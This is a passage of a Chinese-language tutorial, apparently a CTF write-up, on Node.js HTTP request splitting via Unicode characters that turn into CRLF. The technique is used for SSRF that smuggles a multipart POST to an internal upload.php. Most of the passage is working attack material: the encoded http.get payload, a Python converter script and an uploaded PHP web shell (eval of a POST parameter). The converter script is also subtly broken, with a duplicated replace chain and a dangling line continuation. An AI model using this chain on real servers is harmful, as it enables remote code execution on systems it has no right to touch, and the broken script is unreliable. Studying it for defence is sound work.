ŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ
构造请求:
> http.get('http://47.101.57.72:4000/ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ')
如上图所示,成功构造出了一个文件上传的POST请求,像这样的POST请求可以被我们用于 SSRF。
但是有一个问题,就是当我们将这个请求包里面的所有的字符包括控制字符全部用高编号Unicode码表示的话,最终生成的 Payload 的长度可能会过长,有对于有些服务器来说,如果我们请求的 URL 长度超过了限制的长度之后会报错。而且有的题目还需要对 Payload 进行 URL 编码甚至二次或三次编码,这样 Payload 的长度就更长了,所以我们还是建议只将那些控制字符用高编号Unicode编码就行了。编写新的 Payload 转换脚本:
payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
print(payload)
# 输出: ĠHTTP/1.1čĊčĊPOSTĠ/upload.phpĠHTTP/1.1čĊHost:Ġ127.0.0.1čĊContent-Length:Ġ437čĊContent-Type:Ġmultipart/form-data;Ġboundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6čĊUser-Agent:ĠMozilla/5.0Ġ(WindowsĠNTĠ10.0;ĠWin64;Ġx64)ĠAppleWebKit/537.36Ġ(KHTML,ĠlikeĠGecko)ĠChrome/90.0.4430.72ĠSafari/537.36čĊAccept:Ġtext/html,application/xhtmlīxml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9čĊAccept-Encoding:Ġgzip,ĠdeflatečĊAccept-Language:Ġzh-CN,zh;q=0.9čĊCookie:ĠPHPSESSID=nk67astv61hqanskkddslkgst4čĊConnection:ĠclosečĊčĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢMAX_FILE_SIZEĢčĊčĊ100000čĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢuploadedĢ;Ġfilename=Ģshell.phpĢčĊContent-Type:Ġapplication/octet-streamčĊčĊ<?phpĠeval($_POSTśĢwhoamiĢŝ);?>čĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢUploadĢčĊčĊUploadčĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6--čĊčĊGETĠ/ĠHTTP/1.1čĊtest:
其实主要就是将 \r\n
和空格进行编码,其他的字符如果是题目对他们做了过滤也可以自己加进去。最好是将所有的控制字符全部编码。
下面我们分析一下整个攻击的过程。
原始请求数据如下:
GET / HTTP/1.1
Host: 47.101.57.72:4000
当我们插入CRLF数据后,HTTP请求数据变成了:
GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
HTTP/1.1
Host: 47.101.57.72:4000
上次请求包的Host字段和状态行中的 HTTP/1.1
就单独出来了,所以我们再构造一个请求把他闭合:
GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test: HTTP/1.1
Host: 47.101.57.72:4000